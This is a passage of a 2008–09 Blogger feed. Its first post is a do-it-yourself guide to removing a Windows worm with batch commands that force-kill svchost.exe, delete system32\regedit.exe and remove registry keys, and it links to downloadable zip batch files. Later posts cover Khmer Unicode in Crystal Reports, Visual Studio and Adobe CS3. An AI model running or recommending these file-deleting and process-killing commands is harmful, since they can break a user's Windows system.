MS-DOS.com which in the process we can see it as Global.exe, system.exe and svchost.exe (which confused to the system process) which are the main process of the virus.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://fongthai.files.wordpress.com/2008/05/i-got-hacked.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 382px; height: 157px;" src="http://fongthai.files.wordpress.com/2008/05/i-got-hacked.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I used to met them with my friends' PC but I could not do anything other than format their PC as most of the antivirus seem can't heal it after the PC affected but now it's with my PC and I don't want to format it again, I tried to kill it myself without any information of it for almost 2 days but I got nothing.&lt;br /&gt;&lt;br /&gt;After research, I got some solutions that possible to try, thanks to:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.pandasecurity.com/homeusers/security-info/about-malware/encyclopedia/overview.aspx?lst=det&amp;amp;idvirus=193263"&gt;Panda Security&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://fongthai.wordpress.com/2008/06/23/perwall-worm_autorunbuk-sillyfdc-virus-globalexe/"&gt;FontThai blog&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Vietnamese blog: &lt;a href="http://translate.google.com/translate?hl=en&amp;amp;ie=UTF-8&amp;amp;u=http%3A%2F%2Fwww.lecuong.info%2Fblog%2Fread.php%2F56.htm&amp;amp;sl=vi&amp;amp;tl=en&amp;amp;history_state0="&gt;lecuong.info&lt;/a&gt; (I used google translator)&lt;/li&gt;&lt;/ul&gt;With  &lt;a href="http://translate.google.com/translate?hl=en&amp;amp;ie=UTF-8&amp;amp;u=http%3A%2F%2Fwww.lecuong.info%2Fblog%2Fread.php%2F56.htm&amp;amp;sl=vi&amp;amp;tl=en&amp;amp;history_state0="&gt;lecuong.info&lt;/a&gt; solution seem more closely to solve the issue:&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:hyphenationzone&gt;21&lt;/w:HyphenationZone&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:usefelayout/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Font Definitions */  @font-face  {font-family:SimSun;  panose-1:2 1 6 0 3 1 1 1 1 1;  mso-font-alt:宋体;  mso-font-charset:134;  mso-generic-font-family:auto;  mso-font-pitch:variable;  mso-font-signature:3 135135232 16 0 262145 0;} @font-face  {font-family:"\@SimSun";  panose-1:2 1 6 0 3 1 1 1 1 1;  mso-font-charset:134;  mso-generic-font-family:auto;  mso-font-pitch:variable;  mso-font-signature:3 135135232 16 0 262145 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal  {mso-style-parent:"";  margin:0cm;  margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:"Times New Roman";  mso-fareast-font-family:SimSun;  mso-ansi-language:EN-US;  mso-bidi-language:HE;} @page Section1  {size:612.0pt 792.0pt;  margin:72.0pt 90.0pt 72.0pt 90.0pt;  mso-header-margin:36.0pt;  mso-footer-margin:36.0pt;  mso-paper-source:0;} div.Section1  {page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:"Table Normal";  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-parent:"";  mso-padding-alt:0cm 5.4pt 0cm 5.4pt;  mso-para-margin:0cm;  mso-para-margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:"Times New Roman";  mso-ansi-language:#0400;  mso-fareast-language:#0400;  mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;&lt;span style=";font-family:&amp;quot;;font-size:12;"  &gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;B1&lt;/span&gt;: Use IceSword simultaneously kill 3 Process: system.exe, Global.exe, svchost.exe&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;B2&lt;/span&gt;: Find and delete all the files have been analyzed at above&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;B3&lt;/span&gt;: Using Autoruns to check &amp;amp; remove all key viruses created in the registry&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;B4&lt;/span&gt;: Reboot computer.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;B5&lt;/span&gt;: Download antivirus program (such &lt;a href="http://www.bkav.com.vn/home/MuatheBkav2.aspx?d=9"&gt;bkav&lt;/a&gt;) to scan again! (If the computer has antivirus program is removed and then installed again!)&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;B6&lt;/span&gt;: Open Run -&gt; CMD: type in &lt;span style="font-weight: bold;"&gt;sfc /scannow&lt;/span&gt; or &lt;span style="font-weight: bold;"&gt;sfc /scanonce&lt;/span&gt; and XP disk to correct the file failed.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;B7&lt;/span&gt;: Reboot computer. (If necessary)&lt;br /&gt;&lt;br /&gt;With solution &lt;span style="font-weight: bold;"&gt;B2/ B3/&lt;/span&gt; please use batch file to do it: (&lt;a href="http://www.snapdrive.net/files/583222/Software/kill-msdos%20from%20lecuong.info.zip"&gt;kill-msdos.zip&lt;/a&gt;)&lt;br /&gt;But I recommend you to use another batch file below...&lt;br /&gt;&lt;br /&gt;As for sure, everyone will difficult for point &lt;span style="font-weight: bold;"&gt;B1/&lt;/span&gt; so I, myself tried to enhance on lecuong.info batch to add following command to try ending all processes of the virus:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;taskkill /F /IM system.exe /IM Global.exe /IM svchost.exe /T&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;But we will face delete also svchost.exe which is the windows system one so that in 1 minute the PC will shutdown but don't worry, we can proceed the rest before 1 minute.&lt;br /&gt;&lt;br /&gt;Please press any key and accept YES by press &lt;span style="font-weight: bold;"&gt;Y &lt;/span&gt;to confirm delete all virus files and regedit entries as in the batch.&lt;br /&gt;&lt;br /&gt;As I face the virus, seem the batch needs to enhance for more file paths to delete such as:&lt;br /&gt;c:\windows\system32\regedit.exe and its regedit entries so here what I added more:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;ATTRIB -R -H -S -A c:\windows\system32\regedit.exe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;DEL /f c:\windows\system32\regedit.exe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;REG DELETE "HKEY_CURRENT_USER\Software\Microsoft\Search Assistant\ACMru\5603" &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;/v "001" /F&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;REG DELETE "HKEY_CLASSES_ROOT\MSCFile\Shell\Open\Command" /f&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now I don't see any process of this virus on my task manager any more.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;(&lt;span style="font-weight: bold;"&gt;DOWNLOAD&lt;/span&gt;)&lt;br /&gt;Here is the full batch file:&lt;a href="http://www.snapdrive.net/files/583222/Software/kill-msdos-full%20%28computerexperience.co.cc%29.zip"&gt;&lt;br /&gt;kill-msdos-full (computerexperience.co.cc).zip&lt;/a&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Don't forget to continue point B5/ and B6/ also.&lt;br /&gt;&lt;br /&gt;Please report any issue/success related to this solution.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-5371130614556363797?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/XoOx7dWUc-vMG5Ly4Iy2FlLeF7w/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/XoOx7dWUc-vMG5Ly4Iy2FlLeF7w/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/XoOx7dWUc-vMG5Ly4Iy2FlLeF7w/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/XoOx7dWUc-vMG5Ly4Iy2FlLeF7w/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/Z-UMBneKGI0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/5371130614556363797/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2009/01/how-to-kill-virus-ms-doscom-globalexe.html#comment-form" title="9 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/5371130614556363797?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/5371130614556363797?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/Z-UMBneKGI0/how-to-kill-virus-ms-doscom-globalexe.html" title="How to kill virus: MS-DOS.com, Global.exe, system.exe, svchost.exe manually" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>9</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2009/01/how-to-kill-virus-ms-doscom-globalexe.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUMCSXc9eyp7ImA9WxJXFkw.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-6513108341502746120</id><published>2008-12-26T02:17:00.000-08:00</published><updated>2009-06-10T00:04:28.963-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-06-10T00:04:28.963-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="VS 2005" /><category scheme="http://www.blogger.com/atom/ns#" term="Crystal Report" /><category scheme="http://www.blogger.com/atom/ns#" term="Khmer Unicode" /><category scheme="http://www.blogger.com/atom/ns#" term="Fonts" /><category scheme="http://www.blogger.com/atom/ns#" term="VS 2008" /><category scheme="http://www.blogger.com/atom/ns#" term="C#" /><category scheme="http://www.blogger.com/atom/ns#" term="Visual Studio" /><title>Khmer Unicode with Crystal Report in C# Application</title><content type="html">I use VS2008 to test Khmer Unicode rendering in Crystal Report.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;I. Prepare Crystal Report Render well in report design&lt;/span&gt;&lt;br /&gt;First you have to make the crystal report in design time possible to write or view Khmer Unicode&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1.1. Copy usp10.dll&lt;/span&gt; (version1.465.4001.0) to C:\Program Files\Business Objects\Common\2.8\bin&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_X4hIsD6J-rE/SVSwmMVj5RI/AAAAAAAAAF0/7yV2pD-DmzI/s1600-h/kh-crystal-0.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 259px;" src="http://2.bp.blogspot.com/_X4hIsD6J-rE/SVSwmMVj5RI/AAAAAAAAAF0/7yV2pD-DmzI/s320/kh-crystal-0.JPG" alt="" id="BLOGGER_PHOTO_ID_5284042433005610258" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;1.2. Change fonts setting&lt;/span&gt; in Crystal Report, &lt;span style="font-weight: bold;"&gt;at VS2008, create a crystal report and go to Crystal Reports --&gt; Design --&gt; Default Setting --&gt; Go to Fonts Tab, change all element to Kh System&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;II. View Crystal Report with VS Crystal Report Viewer,&lt;/span&gt;&lt;br /&gt;Khmer Unicode is not rendering well.&lt;br /&gt;(Under research)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;III.&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; View Crystal Report with Crystal Report View&lt;/span&gt;&lt;br /&gt;It's working very well for me to view Crystal Report with Khmer Unicode characters on form.&lt;br /&gt;Here is the process...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3.1. On design time, &lt;/span&gt;add COM control of Crystal Report ActiveX Report Viewer Control of Business Objects; from my pc, it's a dll at: C:\Program Files\Business Objects\Common\2.8\bin\ crviewer.dll&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_X4hIsD6J-rE/SVtVEr9sDYI/AAAAAAAAAIA/PDw5VpANq1c/s1600-h/crystal-control-01.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 158px;" src="http://4.bp.blogspot.com/_X4hIsD6J-rE/SVtVEr9sDYI/AAAAAAAAAIA/PDw5VpANq1c/s320/crystal-control-01.JPG" alt="" id="BLOGGER_PHOTO_ID_5285912126658710914" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;3.2. Add Reference in the project of craxddrt.dll&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_X4hIsD6J-rE/SVtXmDNxuLI/AAAAAAAAAII/iWWT3IRDMMc/s1600-h/crystal-control-02.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 266px;" src="http://3.bp.blogspot.com/_X4hIsD6J-rE/SVtXmDNxuLI/AAAAAAAAAII/iWWT3IRDMMc/s320/crystal-control-02.JPG" alt="" id="BLOGGER_PHOTO_ID_5285914898859145394" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;3.3. Create Crystal Report&lt;/span&gt; and write some code in Khmer Unicode and save it to some where, my example in folder bin/Debug&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3.4. Coding&lt;/span&gt; to call the report to view in the control:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;CRAXDDRT.Application crxApp = new CRAXDDRT.Application();&lt;br /&gt;CRAXDDRT.Report crxReport = new CRAXDDRT.Report();&lt;br /&gt;crxReport = crxApp.OpenReport(Application.StartupPath&lt;br /&gt;                       + "/KhmerUnicodeTest.rpt", null);&lt;br /&gt;this.axCrystalActiveXReportViewer1.ReportSource=crxReport;  &lt;br /&gt;this.axCrystalActiveXReportViewer1.ViewReport();&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3.5. Here is the result display&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_X4hIsD6J-rE/SVtZwcZ0VII/AAAAAAAAAIQ/qHdRQ08WDzM/s1600-h/crystal-control-03.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 161px;" src="http://3.bp.blogspot.com/_X4hIsD6J-rE/SVtZwcZ0VII/AAAAAAAAAIQ/qHdRQ08WDzM/s320/crystal-control-03.JPG" alt="" id="BLOGGER_PHOTO_ID_5285917276442481794" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;DOWNLOAD&lt;/span&gt;: &lt;a href="http://www.snapdrive.net/files/583222/Software/TestCrystalReportViewer.zip"&gt;Sample Project: TestCrystalReportViewer&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;IV. View Crystal Report by export directly to PDF&lt;/span&gt;&lt;br /&gt;It works very well, just have issue with font size.&lt;br /&gt;We just call Crystal Report Object and then export it to disk, here is the coding:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;private void btnPrintCrystal_Click(object sender, EventArgs e)&lt;br /&gt;{    &lt;br /&gt;CrystalKhmerUnicode rptCrystal = new CrystalKhmerUnicode();&lt;br /&gt;rptCrystal.SetParameterValue("txtReportTitle","Hello World");&lt;br /&gt;rptCrystal.SetParameterValue("txtTitle", txtTitle.Text);&lt;br /&gt;rptCrystal.SetParameterValue("txtArticle", txtArticle.Text);&lt;br /&gt;rptCrystal.ExportToDisk(ExportFormatType.PortableDocFormat, "./KhmerUnicode.pdf");&lt;br /&gt;MessageBox.Show("Now report exported to current folder: KhmerUnicode.pdf");&lt;br /&gt;// Direct open pdf report&lt;br /&gt;System.Diagnostics.Process.Start("./KhmerUnicode.pdf");   &lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Enjoy,&lt;br /&gt;Happy New Year 2009!&lt;br /&gt;Metrey,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-6513108341502746120?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ghTzgybz4KkAWV6hAv0nJUy3tIY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ghTzgybz4KkAWV6hAv0nJUy3tIY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ghTzgybz4KkAWV6hAv0nJUy3tIY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ghTzgybz4KkAWV6hAv0nJUy3tIY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/vPdbLwqRicc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/6513108341502746120/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2008/12/khmer-unicode-with-crystal-report-in-c.html#comment-form" title="19 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/6513108341502746120?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/6513108341502746120?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/vPdbLwqRicc/khmer-unicode-with-crystal-report-in-c.html" title="Khmer Unicode with Crystal Report in C# Application" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_X4hIsD6J-rE/SVSwmMVj5RI/AAAAAAAAAF0/7yV2pD-DmzI/s72-c/kh-crystal-0.JPG" height="72" width="72" /><thr:total>19</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2008/12/khmer-unicode-with-crystal-report-in-c.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0QAQXg7cSp7ImA9WxVTEko.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-5793756980620589788</id><published>2008-12-25T23:49:00.000-08:00</published><updated>2008-12-26T00:15:40.609-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-12-26T00:15:40.609-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="VS 2005" /><category scheme="http://www.blogger.com/atom/ns#" term="Khmer Unicode" /><category scheme="http://www.blogger.com/atom/ns#" term="VS 2008" /><category scheme="http://www.blogger.com/atom/ns#" term="Visual Studio" /><title>Wanna to write Khmer Unicode on coding in VS2005 or VS2008?</title><content type="html">In fact, I know many people should already know it but I suppose to post here that maybe help others to search for.&lt;br /&gt;&lt;br /&gt;I want to write Khmer Unicode text in coding in Visual Studio 2005 or 2008, maybe need to assign value or declare parameter in Khmer etc. So we need to make the editor know Khmer Unicode first.&lt;br /&gt;&lt;br /&gt;After your PC running well with Khmer Unicode, please follow this instruction to make it possible to write Khmer on your code:&lt;br /&gt;&lt;br /&gt;In Visual Studio option: Tools --&gt; Options --&gt; at Environment, Fonts and Colors set font to: Kh System, then it works.&lt;br /&gt;&lt;br /&gt;See screens:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_X4hIsD6J-rE/SVSOTimXZGI/AAAAAAAAAFU/8eBuy_ZndT8/s1600-h/KH-ON-VS2008-CODING.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 186px;" src="http://4.bp.blogspot.com/_X4hIsD6J-rE/SVSOTimXZGI/AAAAAAAAAFU/8eBuy_ZndT8/s320/KH-ON-VS2008-CODING.JPG" alt="" id="BLOGGER_PHOTO_ID_5284004729168815202" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here, after change, what I can write:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_X4hIsD6J-rE/SVSRXQwvqCI/AAAAAAAAAFs/glRhj0gpMqc/s1600-h/KH-ON-VS2008-CODING_1.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 93px;" src="http://3.bp.blogspot.com/_X4hIsD6J-rE/SVSRXQwvqCI/AAAAAAAAAFs/glRhj0gpMqc/s320/KH-ON-VS2008-CODING_1.JPG" alt="" id="BLOGGER_PHOTO_ID_5284008091634870306" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/604585202851795693-5793756980620589788?l=computer-experience.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/W-9wDdBzVg-ZDMHdpc4aPlAyc1I/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/W-9wDdBzVg-ZDMHdpc4aPlAyc1I/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/W-9wDdBzVg-ZDMHdpc4aPlAyc1I/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/W-9wDdBzVg-ZDMHdpc4aPlAyc1I/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/SNBL/~4/WLFBZB6Z3yw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://computer-experience.blogspot.com/feeds/5793756980620589788/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://computer-experience.blogspot.com/2008/12/wanna-to-write-khmer-unicode-on-coding.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/5793756980620589788?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/604585202851795693/posts/default/5793756980620589788?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/SNBL/~3/WLFBZB6Z3yw/wanna-to-write-khmer-unicode-on-coding.html" title="Wanna to write Khmer Unicode on coding in VS2005 or VS2008?" /><author><name>MTR</name><uri>http://www.blogger.com/profile/13411144533412664851</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_X4hIsD6J-rE/SVSOTimXZGI/AAAAAAAAAFU/8eBuy_ZndT8/s72-c/KH-ON-VS2008-CODING.JPG" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://computer-experience.blogspot.com/2008/12/wanna-to-write-khmer-unicode-on-coding.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkEDRns4cSp7ImA9WxVTEUw.&quot;"><id>tag:blogger.com,1999:blog-604585202851795693.post-5565456749426173810</id><published>2008-12-23T21:55:00.000-08:00</published><updated>2008-12-24T01:24:37.539-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-12-24T01:24:37.539-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Khmer Unicode" /><category scheme="http://www.blogger.com/atom/ns#" term="Adobe CS3" /><category scheme="http://www.blogger.com/atom/ns#" term="Fonts" /><category scheme="http://www.blogger.com/atom/ns#" term="Design" /><title>Khmer Unicode works now with Adobe CS3</title><content type="html">Very good news for us, Khmer, that we have now the fonts that work with Adobe CS3.&lt;br /&gt;It's easy to configure as in fact, we just install new fonts from Khmer OS (I'm not sure yet where is the source of this font), but you can download here: &lt;a style="font-weight: bold;" href="http://www.snapdrive.net/files/583222/Software/UnicodeFontSupportAdobe%20CS3.zip"&gt;Khmer Unicode Supported CS3&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;There are fonts:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Kh-Battambang&lt;/li&gt;&lt;li&gt;Kh-Bokor&lt;/li&gt;&lt;li&gt;Kh-Content&lt;/li&gt;&lt;li&gt;Kh-Fasthand&lt;/li&gt;&lt;li&gt;Kh-Freehand&lt;/li&gt;&lt;li&gt;Kh-Kangrey&lt;/li&gt;&lt;li&gt;Kh-Koulen&lt;/li&gt;&lt;li&gt;Kh-KoulenL&lt;/li&gt;&lt;li&gt;Kh-Metal-Chrieng&lt;/li&gt;&lt;li&gt;Kh-Muol&lt;/li&gt;&lt;li&gt;Kh-Muol-Pali&lt;/li&gt;&lt;li&gt;Kh-Siemreap&lt;/li&gt;&lt;li&gt;Kh-System&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;The right font view as:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_X4hIsD6J-rE/SVHbCGJlxYI/AAAAAAAAAEw/HKy7TJSZ16I/s1600-h/CS3_0.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 300px;" src="http://1.bp.blogspot.com/_X4hIsD6J-rE/SVHbCGJlxYI/AAAAAAAAAEw/HKy7TJSZ16I/s400/CS3_0.JPG" alt="" id="BLOGGER_PHOTO_ID_5283244666939360642" border="1" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br 